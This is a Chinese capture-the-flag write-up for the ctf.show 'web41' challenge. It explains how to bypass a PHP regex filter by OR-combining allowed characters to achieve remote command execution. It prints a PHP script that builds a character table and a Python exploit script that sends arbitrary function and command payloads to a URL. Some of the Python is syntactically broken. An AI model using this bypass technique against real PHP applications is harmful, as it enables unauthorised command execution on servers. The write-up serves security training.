己所不欲,硬施于人。
--莫迪大仙
引言:看了许多讲解第41关的文章和视频,无论是各位大神的文章还是小迪、官方的视频讲解,我都觉得差点东西,就是只知道如此做,对于其中原理有点含糊其辞、闪烁其词,试图蒙混过关。所以今天斗胆以我的视角讲解。
我们将以官方讲解进行起手,进而结合自我理解进行抽丝剥茧!
一、实验准备
1、ctf赛题网址:ctf.show
2、工具:hackbar插件、firefox浏览器
3、相关脚本(两个)
二、实验过程
1、代码审计
通过下图可知,0-9的数字和a-z的字母都被过滤,基本上已经寄了一大半了,再看还过滤了$和&,导致参数逃逸变成幻影,再接着看[]和{}也被过滤了。
终于,悬着的心还是死了;弯着的腰还是断了......
但是再再看()还存在,所以看能不能异或运算、或运算绕过
2、脚本运行
相关脚本地址:ctfshow web入门 web41_ctfshow web41-CSDN博客
通过1中的分析,我们开始捋清我们的思路
编码过程
(1)使用rce_or.php脚本从0-255的Ascii编码表中生成能够符合正则表达式的编码值集合,并且将其存放在rce_or.txt本中(ASCII码使用指定的7位或8位二进制数组合来表示128或256种可能的字符)
代码分析(查看注释):
<?php
//打开rce_or.txt文件,用于后续存放能够绕过正则表达式的编码字符
$myfile = fopen("rce_or.txt", "w");//将每一次符合条件的编码字符存放再content变量处,最后将其读入rce_or.txt文件中
$contents="";//开始遍历,由于或运算是双目运算,所以我们进行双重循环得到结果
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}}
}
fwrite($myfile,$contents);
fclose($myfile);
解码过程
(2)使用python环境运行exp.py并且加上赛题url,
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os#没有将php写入环境变量需手动运行,若写入环境变量则可注释
os.system("php rce_or.php")//是否传入两个参数,是则运行脚本,否则终止
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)//读取第二个参数作为url
url=argv[1]//定义函数进行处理传入的函数和命令
def action(arg):
s1=""
s2=""
for i in arg://打开rec_or.php脚本生成的字符编码集文件
f=open("rce_or.txt","r")
while True://每次读一行
t=f.readline()//读到空则停止
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()//进行或运算得到响应字符串
//同时加上("")符号串
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))//此处开始构造post参数,进行执行命令
data={//由于网站是通过GET方法进行接受参数,所以此处的c写成其他字符也行
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)//将得到的值进行输出再控制台
print("\n[*] result:\n"+r.text)
3、实现过程
(1)使用rce_or.php脚本生成本地rce_or.txt文件
(2)使用python运行exp.py向ctf赛题网址发送post请求
(3)返回结果
ps:写了之后发现,还是太年轻了!!!!写的也太差了